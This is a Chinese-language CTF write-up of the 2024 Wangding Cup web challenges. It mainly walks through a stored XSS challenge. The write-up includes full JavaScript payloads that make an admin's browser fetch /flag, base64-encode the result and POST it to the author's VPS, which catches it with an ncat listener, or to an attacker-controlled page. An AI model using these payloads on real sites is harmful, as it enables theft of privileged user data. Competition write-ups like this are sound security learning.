2024 网鼎杯 web 题解
前言
国内 ctf 的水平爆炸式提高,线下是越来越难打了
WEB 2
题目描述
进入题目一个登录框,还以为要爆破弱密码来着
然后随便输入账号密码就登录成功了
回显的信息如下
login success, your content_hash is 59a74dafac7c82ab4f14b506f98b3014
please visit /content/59a74dafac7c82ab4f14b506f98b3014
登录成功后
很明显的 xss 特征,首先验证一下
输入一个基本的 xss
<script>alert(1)</script>
应该是 xss 了
窃取管理员的 cookie
这里可以使用 xss 平台
但是窃取不到的 cookie,赛后才知道不出网,所以带不出来
自己的 xss 水平简直一坨,只会窃取 cookie
然后扫一波目录,有/flag,访问一手
也是很明显的提示我们需要去用 boss 的身份去访问这个页面
这里就有一种思路了
以为窃取不到 cookie,我们只能使用 xss 实现这样一种需求
1.boss 身份访问页面
2.获取 boss 身份访问 flag 后的内容
3.把内容带出
这里就不得不使用到 fetch 函数了,是真没有学过 xss,这个函数第一次见到
fetch 是一个 JavaScript 中用于进行网络请求的函数,可以用来向服务器发送请求并获取数据
fetch(url, options)
url:字符串,表示请求的目标地址。
options(可选):对象,包含请求的配置,例如 method、headers、body 等。
这里主要学会利用下面三种情况
发送 GET 请求
fetch('https://api.example.com/data')
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json(); // 将响应解析为 JSON
})
.then(data => console.log(data))
.catch(error => console.error('Fetch error:', error));
- 发送 POST 请求
fetch('https://api.example.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ key: 'value' }) // 将数据序列化为 JSON
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Fetch error:', error));
- 发送带有 Headers 的请求
fetch('https://api.example.com/data', {
method: 'GET',
headers: {
'Authorization': 'Bearer your_token_here',
'Accept': 'application/json'
}
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('Fetch error:', error));
第一次想到是带到 vps 上
paylaod 如下
function makePostRequest(url, data) {
return fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data
});
}
function fetchData(url) {
return fetch(url);
}
function sendRequest() {
fetchData('/flag')
.then(response => {
if (!response.ok) {
throw new Error('Failed to fetch flag');
}
return response.text();
})
.then(htmlCode => {
const encodedHtmlCode = btoa(unescape(encodeURIComponent(htmlCode)));
const postDataUrl = 'vps';
const postData = `htmlcode=${encodedHtmlCode}`;
return makePostRequest(postDataUrl, postData);
})
.then(response => {
if (!response.ok) {
throw new Error('Failed to post data');
}
return response.text();
})
.then(result => {
console.log(result);
})
.catch(error => {
console.error('Error:', error);
});
}
sendRequest();
但是获取到的内容
root@VM-16-17-ubuntu:~# ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 171.218.229.141.
Ncat: Connection from 171.218.229.141:43496.
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Content-Length: 93
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Origin: http://0192d62440ea7831a0e0d6659c5f4540.uqmf.dg10.ciihw.cn:45178
Referer: http://0192d62440ea7831a0e0d6659c5f4540.uqmf.dg10.ciihw.cn:45178/
htmlcode=5L2g5pivYm9zc+WYm++8n+WwseaDs+eci+WFtuS7luaXoOS6uuacuuaLn+WumuaJp+ihjOS7u+WKoe+8nw==
解码后还是
疑惑了
然后尝试了几次,还是一样的
考虑了一下,可能是这样的,因为我第一次需要刷新页面,是我自己访问的,然后之后管理员访问的时候因为端口已经关闭了,所以不能,解决办法也没有想到
然后又是尝试写到页面上
function makePostRequest(url, data) {
return fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data
});
}
function fetchData(url) {
return fetch(url);
}
function sendRequest() {
fetchData('/flag')
.then(response => {
if (!response.ok) {
throw new Error('Failed to fetch flag');
}
return response.text();
})
.then(htmlCode => {
const encodedHtmlCode = btoa(unescape(encodeURIComponent(htmlCode)));
const postDataUrl = 'http://0192d62440ea7831a0e0d6659c5f4540.uqmf.dg10.ciihw.cn:45178/content/84178f55ac0325ae9bf15f2b2bdfee3e';
const postData = `htmlcode=${encodedHtmlCode}`;
return makePostRequest(postDataUrl, postData);
})
.then(response => {
if (!response.ok) {
throw new Error('Failed to post data');
}
return response.text();
})
.then(result => {
console.log(result);
})
.catch(error => {
console.error('Error:', error);
});
}
sendRequest();
但是页面上没有东西
又是一堆改改改
然后发现问题是
function makePostRequest(url, data) {
return fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: data
});
}
function fetchData(url) {
return fetch(url);
}
function sendRequest() {
fetchData('/flag')
.then(response => {
if (!response.ok) {
throw new Error('Failed to fetch flag');
}
return response.text();
})
.then(htmlCode => {
const encodedHtmlCode = btoa(unescape(encodeURIComponent(htmlCode)));
const postDataUrl = '/content/84178f55ac0325ae9bf15f2b2bdfee3e';
const postData = `htmlcode=${encodedHtmlCode}`;
return makePostRequest(postDataUrl, postData);
})
.then(response => {
if (!response.ok) {
throw new Error('Failed to post data');
}
return response.text();
})
.then(result => {
console.log(result);
})
.catch(error => {
console.error('Error:', error);
});
}
sendRequest();
路径不能全路径
因为比赛结束了,没有环境,不能截图,paylaod 大概的思路是这样,也忘了改了哪些细节
然后还可以再次 fetch 到/content/84178f55ac0325ae9bf15f2b2bdfee3e 这个路由也是可以的
web1*
题目描述
除了登录框,然后 jwt 爆破,弱密码爆破了一波
然后找了一些新的 cve,还是没有什么思路
最后
大哥们真的 tql,web 已经到随便 500 解的水平了